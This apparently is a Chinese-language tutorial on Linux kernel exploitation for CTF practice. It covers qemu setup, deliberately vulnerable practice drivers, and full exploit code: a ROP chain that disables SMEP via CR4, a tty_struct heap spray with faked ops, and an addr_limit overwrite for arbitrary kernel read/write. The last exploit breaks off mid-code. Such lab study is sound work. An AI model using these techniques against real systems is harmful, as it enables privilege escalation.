前言
對這段時間學習的 linux 內核中的一些簡單的利用技術做一個記錄,如有差錯,請見諒。
相關的文件
https://gitee.com/hac425/kernel_ctf
相關引用已在文中進行了標注,如有遺漏,請提醒。
環境搭建
對於 ctf 中的 pwn 一般都是給一個 linux 內核文件 和一個 busybox 文件系統,然后用 qemu 啟動起來。而且我覺得用 qemu 調試時 gdb 的反應比較快,也沒有一些奇奇怪怪的問題。所以推薦用 qemu 來調,如果是真實漏洞那 vmware 雙機調試肯定是逃不掉的 (:_。
編譯內核
首先去 linux 內核的官網下載 內核源代碼
https://mirrors.edge.kernel.org/pub/linux/kernel/
我用的
ubuntu 16.04來編譯內核,默認的gcc比較新,所以編譯了4.4.x版本,免得換gcc
安裝好一些編譯需要的庫
apt-get install libncurses5-dev build-essential kernel-package
進入內核源代碼目錄
make menuconfig
配置一下編譯參數,注意就是修改下面列出的一些選項 (沒有的選項就不用管了
由於我們需要使用kgdb調試內核,注意下面這幾項一定要配置好:
KernelHacking -->
- 選中Compile the kernel with debug info
- 選中Compile the kernel with frame pointers
- 選中KGDB:kernel debugging with remote gdb,其下的全部都選中。
Processor type and features-->
- 去掉Paravirtualized guest support
KernelHacking-->
- 去掉Write protect kernel read-only data structures(否則不能用軟件斷點)
參考
編譯 busybox && 構建文件系統
編譯 busybox
啟動內核還需要一個簡單的文件系統和一些命令,可以使用 busybox 來構建
首先下載,編譯 busybox
cd ..
wget https://busybox.net/downloads/busybox-1.19.4.tar.bz2 # 建議改成最新的 busybox
tar -jxvf busybox-1.19.4.tar.bz2
cd busybox-1.19.4
make menuconfig
make install
編譯的一些配置
make menuconfig 設置
Busybox Settings -> Build Options -> Build Busybox as a static binary 編譯成 靜態文件
關閉下面兩個選項
Linux System Utilities -> [] Support mounting NFS file system 網絡文件系統
Networking Utilities -> [] inetd (Internet超級服務器)
構建文件系統
編譯完,、make install 后, 在 busybox 源代碼的根目錄下會有一個 _install 目錄下會存放好編譯后的文件。
然后配置一下
cd _install
mkdir proc sys dev etc etc/init.d
vim etc/init.d/rcS
chmod +x etc/init.d/rcS
就是創建一些目錄,然后創建 etc/init.d/rcS 作為 linux 啟動腳本, 內容為
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
/sbin/mdev -s
記得加上 x 權限,允許腳本的執行。
配置完后的目錄結構

然后調用
find . | cpio -o --format=newc > ../rootfs.img
創建文件系統
接着就可以使用 qemu 來運行內核了。
qemu-system-x86_64 -kernel ~/linux-4.1.1/arch/x86_64/boot/bzImage -initrd ~/linux-4.1.1/rootfs.img -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" -cpu kvm64,+smep,+smap --nographic -gdb tcp::1234
對一些選項解釋一下
-cpu kvm64,+smep,+smap設置CPU的安全選項, 這里開啟了smap和smep
-kernel設置內核bzImage文件的路徑
-initrd設置剛剛利用busybox創建的rootfs.img,作為內核啟動的文件系統
-gdb tcp::1234設置gdb的調試端口 為1234
參考
內核模塊創建與調試
創建內核模塊
在學習階段還是自己寫點簡單 內核模塊 (驅動) 來練習比較好。這里以一個簡單的用於測試 通過修改 thread_info->addr_limit 來提權 的模塊為例
首先是源代碼程序 arbitrarily_write.c
#include <linux/module.h>
#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/errno.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/device.h>
#include<linux/slab.h>
#include<linux/string.h>
struct class *arw_class;
struct cdev cdev;
char *p;
int arw_major=248;
struct param
{
size_t len;
char* buf;
char* addr;
};
char buf[16] = {0};
long arw_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
struct param par;
struct param* p_arg;
long p_stack;
long* ptr;
struct thread_info * info;
copy_from_user(&par, arg, sizeof(struct param));
int retval = 0;
switch (cmd) {
case 8:
printk("current: %p, size: %d, buf:%p\n", current, par.len, par.buf);
copy_from_user(buf, par.buf, par.len);
break;
case 7:
printk("buf(%p), content: %s\n", buf, buf);
break;
case 5:
p_arg = (struct param*)arg;
p_stack = (long)&retval;
p_stack = p_stack&0xFFFFFFFFFFFFC000;
info = (struct thread_info * )p_stack;
printk("addr_limit's addr: 0x%p\n", &info->addr_limit);
memset(&info->addr_limit, 0xff, 0x8);
// 返回 thread_info 的地址, 模擬信息泄露
put_user(info, &p_arg->addr);
break;
case 999:
p = kmalloc(8, GFP_KERNEL);
printk("kmalloc(8) : %p\n", p);
break;
case 888://數據清零
kfree(p);
printk("kfree : %p\n", p);
break;
default:
retval = -1;
break;
}
return retval;
}
static const struct file_operations arw_fops = {
.owner = THIS_MODULE,
.unlocked_ioctl = arw_ioctl,//linux 2.6.36內核之后unlocked_ioctl取代ioctl
};
static int arw_init(void)
{
//設備號
dev_t devno = MKDEV(arw_major, 0);
int result;
if (arw_major)//靜態分配設備號
result = register_chrdev_region(devno, 1, "arw");
else {//動態分配設備號
result = alloc_chrdev_region(&devno, 0, 1, "arw");
arw_major = MAJOR(devno);
}
// 打印設備號
printk("arw_major /dev/arw: %d", arw_major);
if (result < 0)
return result;
arw_class = class_create(THIS_MODULE, "arw");
device_create(arw_class, NULL, devno, NULL, "arw");
cdev_init(&cdev, &arw_fops);
cdev.owner = THIS_MODULE;
cdev_add(&cdev, devno, 1);
printk("arw init success\n");
return 0;
}
static void arw_exit(void)
{
cdev_del(&cdev);
device_destroy(arw_class, MKDEV(arw_major, 0));
class_destroy(arw_class);
unregister_chrdev_region(MKDEV(arw_major, 0), 1);
printk("arw exit success\n");
}
MODULE_AUTHOR("exp_ttt");
MODULE_LICENSE("GPL");
module_init(arw_init);
module_exit(arw_exit);
注冊了一個 字符設備, 設備文件路徑為 /dev/arw, 實現了 arw_ioctl 函數,用戶態可以通過 ioctl 和這個函數進行交互。
在 qemu 中創建設備文件,貌似不會幫我們自動創建設備文件,需要手動調用 mknod 創建設備文件,此時需要設備號,於是在注冊驅動時把拿到的 主設備號 打印了出來, 次設備號 從 0 開始試 。創建好設備文件后要設置好權限,使得普通用戶可以訪問。
然后是測試代碼(用戶態調用)test.c
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
struct param
{
size_t len;
char* buf;
char* addr;
};
int main(void)
{
int fd;
char buf[16];
fd = open("/dev/arw", O_RDWR);
if (fd == -1) {
printf("open hello device failed!\n");
return -1;
}
struct param p;
p.len = 8;
p.buf = malloc(32);
strcpy(p.buf, "hello");
ioctl(fd, 8, &p);
ioctl(fd, 7, &p);
return 0;
}
打開設備文件,然后使用 ioctl 和剛剛驅動進行交互。
接下來是Makefile
obj-m := arbitrarily_write.o
KERNELDIR := /home/haclh/linux-4.1.1
PWD := $(shell pwd)
OUTPUT := $(obj-m) $(obj-m:.o=.ko) $(obj-m:.o=.mod.o) $(obj-m:.o=.mod.c) modules.order Module.symvers
modules:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules
gcc -static test.c -o test
clean:
rm -rf $(OUTPUT)
rm -rf test
test.c要靜態編譯,busybox編譯的文件系統,沒有libc.把
KERNELDIR改成 內核源代碼的根目錄。
同時還創建了一個腳本用於在 qemu 加載的系統中,加載模塊,創建設備文件,新增測試用的普通用戶。
mknod.sh
mkdir /home
mkdir /home/hac425
touch /etc/passwd
touch /etc/group
adduser hac425
insmod arbitrarily_write.ko
mknod /dev/arw c 248 0
chmod 777 /dev/arw
cat /proc/modules
mknod命令的參數根據實際情況進行修改
為了方便對代碼進行修改,寫了個 shell 腳本,一件完成模塊和測試代碼的編譯、 rootfs.img 的重打包 和 qemu 運行。
start.sh
PWD=$(pwd)
make clean
sleep 0.5
make
sleep 0.5
rm ~/busybox-1.27.1/_install/{*.ko,test}
cp mknod.sh test *.ko ~/busybox-1.27.1/_install/
cd ~/busybox-1.27.1/_install/
rm ~/linux-4.1.1/rootfs.img
find . | cpio -o --format=newc > ~/linux-4.1.1/rootfs.img
cd $PWD
qemu-system-x86_64 -kernel ~/linux-4.1.1/arch/x86_64/boot/bzImage -initrd ~/linux-4.1.1/rootfs.img -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" -cpu kvm64,+smep --nographic -gdb tcp::1234

然后 ./start.sh,就可以運行起來了。

進入系統后,首先使用 mknod.sh 安裝模塊,創建好設備文件等操作,然后切換到一個普通用戶,執行 test 測試驅動是否正常。對比源代碼,可以判斷驅動是正常運行的
gdb調試
用 qemu 運行內核時,加了一個 -gdb tcp::1234 的參數, qemu 會在 1234 端口起一個 gdb_server ,我們直接用 gdb 連上去即可。

記得加載
vmlinux文件,以便在調試的時候可以有調試符號。
為了調試內核模塊,還需要加載 驅動的 符號文件,首先在系統里面獲取驅動的加載基地址。
/ # cat /proc/modules | grep arb
arbitrarily_write 2168 0 - Live 0xffffffffa0000000 (O)
/ #
然后在 gdb 里面加載
gef➤ add-symbol-file ~/kernel/arbitrarily_write/arbitrarily_write.ko 0xffffffffa0000000
add symbol table from file "/home/haclh/kernel/arbitrarily_write/arbitrarily_write.ko" at
.text_addr = 0xffffffffa0000000
Reading symbols from /home/haclh/kernel/arbitrarily_write/arbitrarily_write.ko...done.
gef➤
此時就可以直接對驅動的函數下斷點了
b arw_ioctl
然后運行測試程序 ( test ),就可以斷下來了。

利用方式匯總
內核 Rop
Rop-By-棧溢出
本節的相關文件位於 kmod
准備工作
開始打算直接用
https://github.com/black-bunny/LinKern-x86_64-bypass-SMEP-KASLR-kptr_restric
里面給的內核鏡像,發現有些問題。於是自己編譯了一個 linux 4.4.72 的鏡像,然后自己那他的源碼編譯了驅動。
默認編譯驅動開了棧保護,懶得重新編譯內核了,於是直接 在 驅動里面 patch 掉了 棧保護的檢測代碼。

漏洞
漏洞位於 vuln_write 函數
static ssize_t vuln_write(struct file *f, const char __user *buf,size_t len, loff_t *off)
{
char buffer[100]={0};
if (_copy_from_user(buffer, buf, len))
return -EFAULT;
buffer[len-1]='\0';
printk("[i] Module vuln write: %s\n", buffer);
strncpy(buffer_var,buffer,len);
return len;
}
可以看到 _copy_from_user 的參數都是我們控制的,然后把內容讀入了棧中的 buffer, 簡單的棧溢出。
把驅動拖到 ida 里面,發現沒有開啟 cancary , 同時 buffer 距離 返回地址的 偏移為 0x7c

所以只要讀入超過 0x7c 個字節的數據就可以覆蓋到 返回地址,控制 rip
利用
如果沒有開啟任何保護的話,直接把返回地址改成用戶態的 函數,然后調用
commit_creds(prepare_kernel_cred(0))
就可以完成提權了。
秉着學習的態度,這里我開了 smep 。 這個安全選項的作用是禁止內核去執行用戶空間的代碼。
但是我們依舊可以執行內核的代碼 ,於是在內核 進行 ROP。
ROP的話有兩種思路
- 利用
ROP,執行commit_creds(prepare_kernel_cred(0)), 然后iret返回用戶空間。 - 利用
ROP關閉smep, 然后進行ret2user攻擊。
利用 rop 直接提權
此時布置的 rop 鏈 類似下面

就是 調用 commit_creds(prepare_kernel_cred(0)) , 然后 iret 返回到用戶空間。
參考
利用 rop 關閉 smep && ret2user
系統根據 cr4 寄存器的值判斷是否開啟 smep, 然而 cr4 寄存器可以使用 mov 指令進行修改,於是事情就變得簡單了,利用 rop 設置 cr4 為 0x6f0 (這個值可以通過用 cr4原始值 & 0xFFFFF 得到), 然后 iret 到用戶空間去執行提權代碼。
在
gdb中貌似看不到cr4寄存器,可以從 內核的崩潰信息里面獲取 開啟smep下的cr4寄存器值
exp:
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
// 兩個函數的地址
_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;
unsigned long xchg_eax_esp = 0xFFFFFFFF81007808;
unsigned long rdi_to_cr4 = 0xFFFFFFFF810635B4; // mov cr4, rdi ;pop rbp ; ret
unsigned long pop_rdi_ret = 0xFFFFFFFF813E7D6F;
unsigned long iretq = 0xffffffff814e35ef;
unsigned long swapgs = 0xFFFFFFFF81063694; // swapgs ; pop rbp ; ret
unsigned long poprbpret = 0xffffffff8100202b; //pop rbp, ret
unsigned long mmap_base = 0xb0000000;
void get_shell() {
system("/bin/sh");
}
void get_root() {
commit_creds(prepare_kernel_cred(0));
}
/* status */
unsigned long user_cs, user_ss, user_rflags;
void save_stats() {
asm(
"movq %%cs, %0\n" // mov rcx, cs
"movq %%ss, %1\n" // mov rdx, ss
"pushfq\n" // 把rflags的值壓棧
"popq %2\n" // pop rax
:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax
);
}
int main(void)
{
int fd;
char buf[16];
fd = open("/dev/vuln", O_RDWR);
if (fd == -1) {
printf("open /dev/vuln device failed!\n");
return -1;
}
save_stats();
printf("mmap_addr: %p\n", mmap(mmap_base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0));
// 布局 rop 鏈
unsigned long rop_chain[] = {
pop_rdi_ret,
0x6f0,
rdi_to_cr4, // cr4 = 0x6f0
mmap_base + 0x10000,
(unsigned long)get_root,
swapgs, // swapgs; pop rbp; ret
mmap_base, // rbp = base
iretq,
(unsigned long)get_shell,
user_cs,
user_rflags,
mmap_base + 0x10000,
user_ss
};
char * payload = malloc(0x7c + sizeof(rop_chain));
memset(payload, 0xf1, 0x7c + sizeof(rop_chain));
memcpy(payload + 0x7c, rop_chain, sizeof(rop_chain));
write(fd, payload, 0x7c + sizeof(rop_chain));
return 0;
}
說說 rop 鏈
- 首先使用
pop rdi && mov cr4,rdi,修改cr4寄存器,關掉smep - 然后
ret2user去執行用戶空間的get_root函數,執行commit_creds(prepare_kernel_cred(0))完成提權 - 然后
swapgs和iret返回用戶空間,起一個root權限的shell。
參考
Linux Kernel x86-64 bypass SMEP - KASLR - kptr_restric
Rop-By-Heap-Vulnerability
漏洞
首先放源碼,位於 heap_bof
驅動的代碼基本差不多,區別點主要在 ioctl 處
char *ptr[40]; // 指針數組,用於存放分配的指針
struct param
{
size_t len; // 內容長度
char* buf; // 用戶態緩沖區地址
unsigned long idx; // 表示 ptr 數組的 索引
};
............................
............................
............................
long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
struct param* p_arg;
p_arg = (struct param*)arg;
int retval = 0;
switch (cmd) {
case 9:
copy_to_user(p_arg->buf, ptr[p_arg->idx], p_arg->len);
printk("copy_to_user: 0x%x\n", *(long *)ptr[p_arg->idx]);
break;
case 8:
copy_from_user(ptr[p_arg->idx], p_arg->buf, p_arg->len);
break;
case 7:
kfree(ptr[p_arg->idx]);
printk("free: 0x%p\n", ptr[p_arg->idx]);
break;
case 5:
ptr[p_arg->idx] = kmalloc(p_arg->len, GFP_KERNEL);
printk("alloc: 0x%p, size: %2x\n", ptr[p_arg->idx], p_arg->len);
break;
default:
retval = -1;
break;
}
return retval;
}
首先定義了一個 指針數組 ptr[40] ,用於存放分配的內存地址的指針。
實現了驅動的 ioctl 接口來向用戶態提供服務。
cmd為5時,根據參數調用kmalloc分配內存,然后把分配好的指針,存放在ptr[p_arg->idx], 為了調試的方便,打印了分配到的內存指針cmd為7時,釋放掉ptr數組中指定項的指針,kfree之后沒有對ptr中的指定項置0。cmd為8時,往ptr數組中 指定項的指針中寫入 數據,長度不限.cmd為9時, 獲取 指定項 的指針 里面的 數據,然后拷貝到用戶空間。
驅動的漏洞還是很明顯的, 堆溢出 以及 UAF .
利用
slub簡述
要進行利用的話還需要了解 內核的內存分配策略。
在 linux 內核 2.26 以上的版本,默認使用 slub 分配器進行內存管理。slub 分配器按照零售式的內存分配。他會把大小相近的對象(分配的內存)放到同一個 slab 中進行分配。
它首先向系統分配一個大的內存,然后把它分成大小相等的內存塊進行內存的分配,同時在分配內存時會對分配的大小 向上取整分配。
可以查看 /proc/slabinfo 獲取當前系統 的 slab 信息

這里介紹下 kmalloc-xxx ,這些 slab 用於給 kmalloc 進行內存分配。 假如要分配 0x2e0 ,向上取整就是 kmalloc-1024 所以實際會使用 kmalloc-1024 分配 1024 字節的內存塊。
而且 slub 分配內存不像 glibc 中的malloc, slub 分配的內存的首部是沒有元數據的(如果內存塊處於釋放狀態的話會有一個指針,指向下一個 free 的塊)。
所以如果分配幾個大小相同的內存塊, 它們會緊密排在一起(不考慮內存碎片的情況)。
給個例子(詳細代碼可以看最后的 exp )
struct param p;
p.len = 0x2e0;
p.buf = malloc(p.len);
for (int i = 0; i < 10; ++i)
{
p.idx = i;
ioctl(fds[i], 5, &p); // malloc
}
這一小段代碼的作用是 通過 ioctl 讓驅動調用10 次 kmalloc(0x2e0, GFP_KERNEL),驅動打印出的分配的地址如下
[ 7.095323] alloc: 0xffff8800027ee800, size: 2e0
[ 7.101074] alloc: 0xffff8800027ef000, size: 2e0
[ 7.107161] alloc: 0xffff8800027ef400, size: 2e0
[ 7.111211] alloc: 0xffff8800027ef800, size: 2e0
[ 7.115165] alloc: 0xffff8800027efc00, size: 2e0
[ 7.131237] alloc: 0xffff880002791c00, size: 2e0
[ 7.138591] alloc: 0xffff880003604000, size: 2e0
[ 7.141208] alloc: 0xffff880003604400, size: 2e0
[ 7.146466] alloc: 0xffff880003604800, size: 2e0
[ 7.154290] alloc: 0xffff880003604c00, size: 2e0
可以看到除了第一個(內存碎片的原因),其他分配到的內存的地址相距都是 0x400, 這說明內核實際給我的空間是 0x400 .
盡管我們要分配的是 0x2e0 ,實際內核會把大小向上取整 到 0x400
參考
代碼執行
對於堆溢出和 UAF 漏洞,其實利用思路都差不多,就是想辦法修改一些對象的數據,來達到提權的目的,比如改函數表指針然后執行代碼提權, 修改 cred 結構體直接提權等。
這里介紹通過修改 tty_struct 中的 ops 來進行 rop 繞過 smep 提權的技術。
結構體定義在 linux/tty.h
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
其中有一個 ops 項(64bit 下位於 結構體偏移 0x18 處)是一個 struct tty_operations * 結構體。 它里面都是一些函數指針,用戶態可以通過一些函數觸發這些函數的調用。
當 open("/dev/ptmx",O_RDWR|O_NOCTTY) 內核會分配 tty_struct 結構體,64 位下改結構體的大小為 0x2e0(可以自己編譯一個同版本的內核,然后在 gdb 里面看),所以實現代碼執行的思路就很簡單了
- 通過
ioctl讓驅動分配若干個0x2e0的 內存塊 - 釋放其中的幾個,然后調用若干次
open("/dev/ptmx",O_RDWR|O_NOCTTY),會分配若干個tty_struct, 這時其中的一些tty_struct會落在 剛剛釋放的那些內存塊里面 - 利用 驅動中 的
uaf或者 溢出,修改 修改tty_struct的ops到我們mmap的一塊空間,進行tty_operations的偽造, 偽造ops->ioctl為 要跳轉的位置。 - 然后 對
/dev/ptmx的文件描述符,進行ioctl,實現代碼執行
rop
因為開啟了 smep 所以需要先 使用 rop 關閉 smep, 然后在 執行 commit_creds(prepare_kernel_cred(0)) 完成提權。
這里有一個小 tips ,通過 tty_struct 執行 ioctl 時, rax 的值正好是 rip 的值,然后使用 xchg eax,esp;ret 就可以把 rsp 設置為 rax&0xffffffff (其實就是 &ops->ioctl 的低四個字節)。
於是 堆漏洞的 rop 思路如下(假設 xchg_eax_esp 為 xchg eax,esp 指令的地址 )
- 首先使用
mmap, 分配xchg_eax_esp&0xffffffff作為fake_stack並在這里布置好rop鏈 - 修改
ops->ioctl為xchg_eax_esp - 觸發
ops->ioctl, 然后會跳轉到xchg_eax_esp,此時rax=rip=xchg_eax_esp, 執行xchg eax,esp后 rsp為xchg_eax_esp&0xffffffff, 之后就是 根據 事先布置好的rop chain進行rop了。
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
const struct file_operations *proc_fops;
};
struct param
{
size_t len;
char* buf;
unsigned long idx;
};
typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
// 兩個函數的地址
_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;
unsigned long xchg_eax_esp = 0xFFFFFFFF81007808;
unsigned long rdi_to_cr4 = 0xFFFFFFFF810635B4; // mov cr4, rdi ;pop rbp ; ret
unsigned long pop_rdi_ret = 0xFFFFFFFF813E7D6F;
unsigned long iretq = 0xffffffff814e35ef;
unsigned long swapgs = 0xFFFFFFFF81063694; // swapgs ; pop rbp ; ret
unsigned long poprbpret = 0xffffffff8100202b; //pop rbp, ret
void get_shell() {
system("/bin/sh");
}
void get_root() {
commit_creds(prepare_kernel_cred(0));
}
/* status */
unsigned long user_cs, user_ss, user_rflags;
void save_stats() {
asm(
"movq %%cs, %0\n" // mov rcx, cs
"movq %%ss, %1\n" // mov rdx, ss
"pushfq\n" // 把rflags的值壓棧
"popq %2\n" // pop rax
:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax
);
}
int main(void)
{
int fds[10];
int ptmx_fds[0x100];
char buf[8];
int fd;
unsigned long mmap_base = xchg_eax_esp & 0xffffffff;
struct tty_operations *fake_tty_operations = (struct tty_operations *)malloc(sizeof(struct tty_operations));
memset(fake_tty_operations, 0, sizeof(struct tty_operations));
fake_tty_operations->ioctl = (unsigned long) xchg_eax_esp; // 設置tty的ioctl操作為棧轉移指令
fake_tty_operations->close = (unsigned long)xchg_eax_esp;
for (int i = 0; i < 10; ++i)
{
fd = open("/dev/bof", O_RDWR);
if (fd == -1) {
printf("open bof device failed!\n");
return -1;
}
fds[i] = fd;
}
printf("%p\n", fake_tty_operations);
save_stats();
printf("mmap_addr: %p\n", mmap(mmap_base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0));
// 布局 rop 鏈
unsigned long rop_chain[] = {
pop_rdi_ret,
0x6f0,
rdi_to_cr4, // cr4 = 0x6f0
mmap_base + 0x10000,
(unsigned long)get_root,
swapgs, // swapgs; pop rbp; ret
mmap_base, // rbp = base
iretq,
(unsigned long)get_shell,
user_cs,
user_rflags,
mmap_base + 0x10000,
user_ss
};
// 觸發漏洞前先把 rop 鏈拷貝到 mmap_base
memcpy(mmap_base, rop_chain, sizeof(rop_chain));
struct param p;
p.len = 0x2e0;
p.buf = malloc(p.len);
// 讓驅動分配 10 個 0x2e0 的內存塊
for (int i = 0; i < 10; ++i)
{
p.idx = i;
ioctl(fds[i], 5, &p); // malloc
}
// 釋放中間的幾個
for (int i = 2; i < 6; ++i)
{
p.idx = i;
ioctl(fds[i], 7, &p); // free
}
// 批量 open /dev/ptmx, 噴射 tty_struct
for (int i = 0; i < 0x100; ++i)
{
ptmx_fds[i] = open("/dev/ptmx",O_RDWR|O_NOCTTY);
if (ptmx_fds[i]==-1)
{
printf("open ptmx err\n");
}
}
p.idx = 2;
p.len = 0x20;
ioctl(fds[4], 9, &p);
// 此時如果釋放后的內存被 tty_struct
// 占用,那么他的開始字節序列應該為
//
for (int i = 0; i < 16; ++i)
{
printf("%2x ", p.buf[i]);
}
printf("\n");
// 批量修改 tty_struct 的 ops 指針
unsigned long *temp = (unsigned long *)&p.buf[24];
*temp = (unsigned long)fake_tty_operations;
for (int i = 2; i < 6; ++i)
{
p.idx = i;
ioctl(fds[4], 8, &p);
}
// getchar();
for (int i = 0; i < 0x100; ++i)
{
ioctl(ptmx_fds[i], 0, 0);
}
getchar();
return 0;
}
參考
利用 thread_info->addr_limit
DEMO
這里使用的代碼就是 內核模塊創建與調試 中的示例代碼。
代碼中大部分都是用來測試一些內核函數,其中對本節內容有效的代碼為:
long arw_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
.....................
.....................
.....................
switch (cmd) {
.....................
.....................
.....................
case 5:
p_arg = (struct param*)arg;
p_stack = (long)&retval;
p_stack = p_stack&0xFFFFFFFFFFFFC000;
info = (struct thread_info * )p_stack;
printk("addr_limit's addr: 0x%p\n", &info->addr_limit);
memset(&info->addr_limit, 0xff, 0x8);
// 返回 thread_info 的地址, 模擬信息泄露
put_user(info, &p_arg->addr);
break;
利用棧地址拿到 thread_info 的地址
首先模擬了一個內核的信息泄露。
利用 程序的局部變量的地址 (&retval) 獲得內核棧的地址。又因為 thread_info 位於內核棧頂部而且是 8k (或者 4k ) 對齊的
union thread_union {
struct thread_info thread_info;
unsigned long stack[THREAD_SIZE/sizeof(long)];
};

所以利用 棧地址 & (~(THREAD_SIZE - 1)) 就可以計算出 thread_info 的地址。
THREAD_SIZE 可以為 4k , 8k 或者是 16k 。
可以在 Linux 源代碼 里面搜索。
x86_64 定義在 arch/x86/include/asm/page_64_types.h
#ifdef CONFIG_KASAN
#define KASAN_STACK_ORDER 1
#else
#define KASAN_STACK_ORDER 0
#endif
#define THREAD_SIZE_ORDER (2 + KASAN_STACK_ORDER)
#define THREAD_SIZE (PAGE_SIZE << THREAD_SIZE_ORDER)// 左移 2, 頁大小為 4k, 所以是 16k
#define CURRENT_MASK (~(THREAD_SIZE - 1))
PAGE_SIZE 為 4096 , THREAD_SIZE_ORDER 為 2 , 所以 THREAD_SIZE= 4 * 4096=0x4000
所以 (~(THREAD_SIZE - 1)) 為
>>> hex(~(0x4000-1)&0xffffffffffffffff)
'0xffffffffffffc000L'
所以 thread_info 的地址就是 p_stack&0xFFFFFFFFFFFFC000 , 然后利用 put_user 傳遞給 用戶態。
修改 thread_info->addr_limit
thread_info->addr_limit 用於限制用戶態程序能訪問的地址的最大值,如果把它修改成 0xffffffffffffffff ,我們就可以讀寫整個內存空間了 包括 內核空間
struct thread_info {
struct task_struct *task; /* main task structure */
__u32 flags; /* low level flags */
__u32 status; /* thread synchronous flags */
__u32 cpu; /* current CPU */
mm_segment_t addr_limit;
unsigned int sig_on_uaccess_error:1;
unsigned int uaccess_err:1; /* uaccess failed */
};
在 thread_info 偏移 0x18 (64位)處就是 addr_limit , 它的類型為 long。
在驅動的源碼中,模擬修改 了 thread_info->addr_limit 的操作,
memset(&info->addr_limit, 0xff, 0x8);
執行完后,我們就可以讀寫任意內存了。
利用 pipe 實現任意地址讀寫
修改 thread_info->addr_limit 后,我們還不能直接的進行任意地址讀寫,需要使用 pipe 來中轉一下,具體的原因以后再研究。
int pipefd[2];
//dest 數據的寫入位置, src 數據來源, size 大小
int kmemcpy(void *dest, void *src, size_t size)
{
write(pipefd[1], src, size);
read(pipefd[0], dest, size);
return size;
}
先用 pipe(pipefd) 初始化好 pipefd , 然后使用 kmemcpy 就可以實現任意地址讀寫了。
如果是泄露內核數據的話,
dest為 內核地址,src為 內核地址,同時要關閉smap如果是對內核數據進行寫操作,
dest為 內核地址,src為 用戶態地址
修改 task_struct->real_cred
我們現在已經有了thread_info 的地址,而且可以對內核進行任意讀寫,於是通過 修改 task_struct->real_cred 和 task_struct->cred 進行提權。
- 首先通過
thread_info的地址,拿到task_struct的地址 (thread_info->task) - 通過
task_struct->real_cred和task_struct->cred相對於task_struct的偏移,拿到 它們的地址. - 修改
task_struct->real_cred中從開始 一直 到fsuid字段(大小為0x1c) 為0. - 修改
task_struct->cred = task_struct->real_cred - 執行
system("sh"), 獲取root權限的shell
gdb中獲取real_cred的偏移p &((struct task_struct*)0)->real_cred
完整 exp
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
struct param
{
size_t len;
char* buf;
char* addr;
};
int pipefd[2];
int kmemcpy(void *dest, void *src, size_t size)
{
write(pipefd[1], src, size);
read(pipefd[0], dest, size);
return size;
}
int main(void)
{
int fd;
char buf[16];
fd = open("/dev/arw", O_RDWR);
if (fd == -1) {
printf("open hello device failed!\n");
return -1;
}
struct param p;
ioctl(fd, 5, &p);
printf("got thread_info: %p\n", p.addr);
char * info = p.addr;
int ret_val = pipe(pipefd);
if (ret_val < 0) {
printf("pipe failed: %d\n", ret_val);
exit(1);
}
kmemcpy(buf, info, 16);
